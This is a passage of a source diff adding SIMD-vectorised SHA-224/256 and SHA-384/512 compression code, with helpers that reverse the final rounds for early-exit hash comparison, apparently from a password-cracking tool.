+	(vxor(vroti_epi32(x, -22), vxor(vroti_epi32(x, -2), vroti_epi32(x, -13))))
+
+#define S1(x)                                                                  \
+	(vxor(vroti_epi32(x, -25), vxor(vroti_epi32(x, -6), vroti_epi32(x, -11))))
+#endif
+
+#define s0(x)                                                                  \
+	(vxor(vsrli_epi32(x, 3), vxor(vroti_epi32(x, -7), vroti_epi32(x, -18))))
+
+#define s1(x)                                                                  \
+	(vxor(vsrli_epi32(x, 10), vxor(vroti_epi32(x, -17), vroti_epi32(x, -19))))
+
+#if __AVX512F__
+#define Maj(x, y, z) vternarylogic(x, y, z, 0xE8)
+#elif !VCMOV_EMULATED
+#define Maj(x, y, z) vcmov(x, y, vxor(z, y))
+#else
+#define Maj(x, y, z) vor(vand(x, y), vand(vor(x, y), z))
+#endif
+
+#define Ch(x, y, z) vcmov(y, z, x)
+
+#undef R
+#define R(t)                                                                   \
+	{                                                                          \
+		tmp1[i] = vadd_epi32(s1(w[(t - 2) & 0xf]), w[(t - 7) & 0xf]);          \
+		tmp2[i] = vadd_epi32(s0(w[(t - 15) & 0xf]), w[(t - 16) & 0xf]);        \
+		w[(t) &0xf] = vadd_epi32(tmp1[i], tmp2[i]);                            \
+	}
+
+#define SHA256_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA256; ++x)
+
+#define SHA256_STEP(a, b, c, d, e, f, g, h, x, K)                              \
+	{                                                                          \
+		SHA256_PARA_DO(i)                                                      \
+		{                                                                      \
+			w = _w[i].w;                                                       \
+			tmp1[i] = vadd_epi32(h[i], S1(e[i]));                              \
+			tmp1[i] = vadd_epi32(tmp1[i], Ch(e[i], f[i], g[i]));               \
+			tmp1[i] = vadd_epi32(tmp1[i], vset1_epi32(K));                     \
+			tmp1[i] = vadd_epi32(tmp1[i], w[(x) &0xf]);                        \
+			tmp2[i] = vadd_epi32(S0(a[i]), Maj(a[i], b[i], c[i]));             \
+			d[i] = vadd_epi32(tmp1[i], d[i]);                                  \
+			h[i] = vadd_epi32(tmp1[i], tmp2[i]);                               \
+			if (x < 48) R(x);                                                  \
+		}                                                                      \
+	}
+
+#define INIT_A 0x6a09e667
+#define INIT_B 0xbb67ae85
+#define INIT_C 0x3c6ef372
+#define INIT_D 0xa54ff53a
+#define INIT_E 0x510e527f
+#define INIT_F 0x9b05688c
+#define INIT_G 0x1f83d9ab
+#define INIT_H 0x5be0cd19
+
+#define ror(x, n) (((x) >> (n)) | ((x) << (32 - (n))))
+
+void sha256_reverse(uint32_t * hash)
+{
+	uint32_t a, b, c, d, e, f, g, h, s0, maj, tmp;
+
+	a = hash[0] - INIT_A;
+	b = hash[1] - INIT_B;
+	c = hash[2] - INIT_C;
+	d = hash[3] - INIT_D;
+	e = hash[4] - INIT_E;
+	f = hash[5] - INIT_F;
+	g = hash[6] - INIT_G;
+	h = hash[7] - INIT_H;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	g = h;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+
+	hash[0] = e - (a - (s0 + maj));
+}
+
+void sha256_unreverse(void)
+{
+	fprintf(stderr, "sha256_unreverse() not implemented\n");
+	perror("sha256_unreverse");
+}
+
+#undef ror
+
+#undef INIT_H
+#undef INIT_G
+#undef INIT_F
+#undef INIT_E
+#undef INIT_D
+#undef INIT_C
+#undef INIT_B
+#undef INIT_A
+
+#define INIT_D 0xf70e5939
+
+void sha224_reverse(uint32_t * hash) { hash[3] -= INIT_D; }
+
+void sha224_unreverse(uint32_t * hash) { hash[3] += INIT_D; }
+
+#undef INIT_D
+
+void SIMDSHA256body(vtype * data,
+					ARCH_WORD_32 * out,
+					ARCH_WORD_32 * reload_state,
+					unsigned SSEi_flags)
+{
+	vtype a[SIMD_PARA_SHA256], b[SIMD_PARA_SHA256], c[SIMD_PARA_SHA256],
+		d[SIMD_PARA_SHA256], e[SIMD_PARA_SHA256], f[SIMD_PARA_SHA256],
+		g[SIMD_PARA_SHA256], h[SIMD_PARA_SHA256];
+	union {
+		vtype w[16];
+		ARCH_WORD_32 p[16 * sizeof(vtype) / sizeof(ARCH_WORD_32)];
+	} _w[SIMD_PARA_SHA256];
+	vtype tmp1[SIMD_PARA_SHA256], tmp2[SIMD_PARA_SHA256], *w = NULL;
+	ARCH_WORD_32 * saved_key = 0;
+
+	unsigned int i, k;
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+
+#if __SSE4_1__ || __MIC__
+		saved_key = (ARCH_WORD_32 *) data;
+		SHA256_PARA_DO(k)
+		{
+			w = _w[k].w;
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_4x(w[i], saved_key, i);
+					vswap32(w[i]);
+				}
+				GATHER_4x(w[14], saved_key, 14);
+				GATHER_4x(w[15], saved_key, 15);
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_2x(w[i], saved_key, i);
+					vswap32(w[i]);
+				}
+				GATHER_2x(w[14], saved_key, 14);
+				GATHER_2x(w[15], saved_key, 15);
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER(w[i], saved_key, i);
+					vswap32(w[i]);
+				}
+				GATHER(w[14], saved_key, 14);
+				GATHER(w[15], saved_key, 15);
+				saved_key += (VS32 << 4);
+			}
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(w[14]);
+				vswap32(w[15]);
+			}
+		}
+#else
+		unsigned int j;
+		saved_key = (ARCH_WORD_32 *) data;
+		SHA256_PARA_DO(k)
+		{
+			ARCH_WORD_32 * p = _w[k].p;
+			w = _w[k].w;
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			for (i = 0; i < 14; i++) vswap32(w[i]);
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(w[14]);
+				vswap32(w[15]);
+			}
+		}
+#endif
+	}
+	else
+		memcpy(_w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA256);
+
+	//	dump_stuff_shammx(w, 64, 0);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]);
+				f[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 5 * VS32]);
+				g[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 6 * VS32]);
+				h[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 7 * VS32]);
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 4 * VS32]);
+				f[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 5 * VS32]);
+				g[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 6 * VS32]);
+				h[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 7 * VS32]);
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA224)
+		{
+			SHA256_PARA_DO(i)
+			{
+				/* SHA-224 IV */
+				a[i] = vset1_epi32(0xc1059ed8);
+				b[i] = vset1_epi32(0x367cd507);
+				c[i] = vset1_epi32(0x3070dd17);
+				d[i] = vset1_epi32(0xf70e5939);
+				e[i] = vset1_epi32(0xffc00b31);
+				f[i] = vset1_epi32(0x68581511);
+				g[i] = vset1_epi32(0x64f98fa7);
+				h[i] = vset1_epi32(0xbefa4fa4);
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				// SHA-256 IV */
+				a[i] = vset1_epi32(0x6a09e667);
+				b[i] = vset1_epi32(0xbb67ae85);
+				c[i] = vset1_epi32(0x3c6ef372);
+				d[i] = vset1_epi32(0xa54ff53a);
+				e[i] = vset1_epi32(0x510e527f);
+				f[i] = vset1_epi32(0x9b05688c);
+				g[i] = vset1_epi32(0x1f83d9ab);
+				h[i] = vset1_epi32(0x5be0cd19);
+			}
+		}
+	}
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 1, 0x71374491);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcf);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba5);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25b);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b01);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174);
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c1);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc6);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dc);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c8);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf3);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 31, 0x14292967);
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a85);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b2138);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d13);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 36, 0x650a7354);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c85);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a1);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664b);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a3);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 45, 0xd6990624);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e3585);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa070);
+
+	SHA256_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116);
+	SHA256_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c08);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774c);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3);
+	SHA256_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4a);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3);
+	SHA256_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA224))
+	{
+		SHA256_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS32 + 0 * VS32]), h[i]);
+		}
+		return;
+	}
+
+	SHA256_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f);
+	SHA256_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc70208);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		SHA256_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS32 + 3 * VS32]), d[i]);
+		}
+		return;
+	}
+
+	SHA256_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506ceb);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]));
+				f[i] = vadd_epi32(
+					f[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 5 * VS32]));
+				g[i] = vadd_epi32(
+					g[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 6 * VS32]));
+				h[i] = vadd_epi32(
+					h[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 7 * VS32]));
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 4 * VS32]));
+				f[i] = vadd_epi32(
+					f[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 5 * VS32]));
+				g[i] = vadd_epi32(
+					g[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 6 * VS32]));
+				h[i] = vadd_epi32(
+					h[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 7 * VS32]));
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA224)
+		{
+			SHA256_PARA_DO(i)
+			{
+				/* SHA-224 IV */
+				a[i] = vadd_epi32(a[i], vset1_epi32(0xc1059ed8));
+				b[i] = vadd_epi32(b[i], vset1_epi32(0x367cd507));
+				c[i] = vadd_epi32(c[i], vset1_epi32(0x3070dd17));
+				d[i] = vadd_epi32(d[i], vset1_epi32(0xf70e5939));
+				e[i] = vadd_epi32(e[i], vset1_epi32(0xffc00b31));
+				f[i] = vadd_epi32(f[i], vset1_epi32(0x68581511));
+				g[i] = vadd_epi32(g[i], vset1_epi32(0x64f98fa7));
+				h[i] = vadd_epi32(h[i], vset1_epi32(0xbefa4fa4));
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				/* SHA-256 IV */
+				a[i] = vadd_epi32(a[i], vset1_epi32(0x6a09e667));
+				b[i] = vadd_epi32(b[i], vset1_epi32(0xbb67ae85));
+				c[i] = vadd_epi32(c[i], vset1_epi32(0x3c6ef372));
+				d[i] = vadd_epi32(d[i], vset1_epi32(0xa54ff53a));
+				e[i] = vadd_epi32(e[i], vset1_epi32(0x510e527f));
+				f[i] = vadd_epi32(f[i], vset1_epi32(0x9b05688c));
+				g[i] = vadd_epi32(g[i], vset1_epi32(0x1f83d9ab));
+				h[i] = vadd_epi32(h[i], vset1_epi32(0x5be0cd19));
+			}
+		}
+	}
+
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		SHA256_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 8 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 << 3,
+									14 << 3,
+									13 << 3,
+									12 << 3,
+									11 << 3,
+									10 << 3,
+									9 << 3,
+									8 << 3,
+									7 << 3,
+									6 << 3,
+									5 << 3,
+									4 << 3,
+									3 << 3,
+									2 << 3,
+									1 << 3,
+									0 << 3);
+
+			vscatter_epi32((((uint32_t *) o) + 0), idxs, vswap32(a[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 1), idxs, vswap32(b[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 2), idxs, vswap32(c[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 3), idxs, vswap32(d[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 4), idxs, vswap32(e[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 5), idxs, vswap32(f[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 6), idxs, vswap32(g[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 7), idxs, vswap32(h[i]), 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[8];
+				uint32_t s[8 * VS32];
+			} tmp;
+
+			tmp.v[0] = vswap32(a[i]);
+			tmp.v[1] = vswap32(b[i]);
+			tmp.v[2] = vswap32(c[i]);
+			tmp.v[3] = vswap32(d[i]);
+			tmp.v[4] = vswap32(e[i]);
+			tmp.v[5] = vswap32(f[i]);
+			tmp.v[6] = vswap32(g[i]);
+			tmp.v[7] = vswap32(h[i]);
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 8; k++) o[j * 8 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			SHA256_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 4 * VS32], e[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 5 * VS32], f[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 6 * VS32], g[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 7 * VS32], h[i]);
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 4 * VS32], e[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 5 * VS32], f[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 6 * VS32], g[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 7 * VS32], h[i]);
+			}
+		}
+	}
+	else
+	{
+		SHA256_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS32 + 0 * VS32]), a[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 1 * VS32]), b[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 2 * VS32]), c[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 3 * VS32]), d[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 4 * VS32]), e[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 5 * VS32]), f[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 6 * VS32]), g[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 7 * VS32]), h[i]);
+		}
+	}
+}
+#endif /* SIMD_PARA_SHA256 */
+
+#if SIMD_PARA_SHA512
+
+#undef S0
+#define S0(x)                                                                  \
+	(vxor(vroti_epi64(x, -39), vxor(vroti_epi64(x, -28), vroti_epi64(x, -34))))
+
+#undef S1
+#define S1(x)                                                                  \
+	(vxor(vroti_epi64(x, -41), vxor(vroti_epi64(x, -14), vroti_epi64(x, -18))))
+
+/*
+ * These optimized sigma alternatives are from "Fast SHA-512 Implementations
+ * on Intel Architecture Processors" whitepaper by Intel. They result in less
+ * register copy operations so is faster despite using more ops. Slight boost
+ * indeed seen on intel core i7.
+ */
+#if 1
+#undef s0
+#define s0(x)                                                                  \
+	(vxor(vsrli_epi64(vxor(vsrli_epi64(vxor(vsrli_epi64(x, 1), x), 6), x), 1), \
+		  vslli_epi64(vxor(vslli_epi64(x, 7), x), 56)))
+#undef s1
+#define s1(x)                                                                  \
+	(vxor(                                                                     \
+		vsrli_epi64(vxor(vsrli_epi64(vxor(vsrli_epi64(x, 42), x), 13), x), 6), \
+		vslli_epi64(vxor(vslli_epi64(x, 42), x), 3)))
+#else
+#undef s0
+#define s0(x)                                                                  \
+	(vxor(vsrli_epi64(x, 7), vxor(vroti_epi64(x, -1), vroti_epi64(x, -8))))
+
+#undef s1
+#define s1(x)                                                                  \
+	(vxor(vsrli_epi64(x, 6), vxor(vroti_epi64(x, -19), vroti_epi64(x, -61))))
+#endif
+
+#if __AVX512F__
+#define Maj(x, y, z) vternarylogic(x, y, z, 0xE8)
+#elif !VCMOV_EMULATED
+#define Maj(x, y, z) vcmov(x, y, vxor(z, y))
+#else
+#define Maj(x, y, z) vor(vand(x, y), vand(vor(x, y), z))
+#endif
+
+#define Ch(x, y, z) vcmov(y, z, x)
+
+#define SHA512_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA512; ++x)
+
+#undef R
+#define R(t)                                                                   \
+	{                                                                          \
+		tmp1[i] = vadd_epi64(s1(w[i][(t - 2) & 0xf]), w[i][(t - 7) & 0xf]);    \
+		tmp2[i] = vadd_epi64(s0(w[i][(t - 15) & 0xf]), w[i][(t - 16) & 0xf]);  \
+		w[i][(t) &0xf] = vadd_epi64(tmp1[i], tmp2[i]);                         \
+	}
+
+#define SHA512_STEP(a, b, c, d, e, f, g, h, x, K)                              \
+	{                                                                          \
+		SHA512_PARA_DO(i)                                                      \
+		{                                                                      \
+			tmp1[i] = vadd_epi64(h[i], w[i][(x) &0xf]);                        \
+			tmp2[i] = vadd_epi64(S1(e[i]), vset1_epi64(K));                    \
+			tmp1[i] = vadd_epi64(tmp1[i], Ch(e[i], f[i], g[i]));               \
+			tmp1[i] = vadd_epi64(tmp1[i], tmp2[i]);                            \
+			tmp2[i] = vadd_epi64(S0(a[i]), Maj(a[i], b[i], c[i]));             \
+			d[i] = vadd_epi64(tmp1[i], d[i]);                                  \
+			h[i] = vadd_epi64(tmp1[i], tmp2[i]);                               \
+			if (x < 64) R(x);                                                  \
+		}                                                                      \
+	}
+
+#define INIT_A 0x6a09e667f3bcc908ULL
+#define INIT_B 0xbb67ae8584caa73bULL
+#define INIT_C 0x3c6ef372fe94f82bULL
+#define INIT_D 0xa54ff53a5f1d36f1ULL
+#define INIT_E 0x510e527fade682d1ULL
+#define INIT_F 0x9b05688c2b3e6c1fULL
+#define INIT_G 0x1f83d9abfb41bd6bULL
+#define INIT_H 0x5be0cd19137e2179ULL
+
+#define ror(x, n) (((x) >> (n)) | ((x) << (64 - (n))))
+
+void sha512_reverse(uint64_t * hash)
+{
+	uint64_t a, b, c, d, e, f, g, h, s0, maj, tmp;
+
+	a = hash[0] - INIT_A;
+	b = hash[1] - INIT_B;
+	c = hash[2] - INIT_C;
+	d = hash[3] - INIT_D;
+	e = hash[4] - INIT_E;
+	f = hash[5] - INIT_F;
+	g = hash[6] - INIT_G;
+	h = hash[7] - INIT_H;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	g = h;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+
+	hash[0] = e - (a - (s0 + maj));
+}
+
+void sha512_unreverse(void)
+{
+	fprintf(stderr, "sha512_unreverse() not implemented\n");
+	perror("sha512");
+}
+
+#undef ror
+
+#undef INIT_H
+#undef INIT_G
+#undef INIT_F
+#undef INIT_E
+#undef INIT_D
+#undef INIT_C
+#undef INIT_B
+#undef INIT_A
+
+#define INIT_D 0x152fecd8f70e5939ULL
+
+void sha384_reverse(ARCH_WORD_64 * hash) { hash[3] -= INIT_D; }
+
+void sha384_unreverse(ARCH_WORD_64 * hash) { hash[3] += INIT_D; }
+
+#undef INIT_D
+
+void SIMDSHA512body(vtype * data,
+					ARCH_WORD_64 * out,
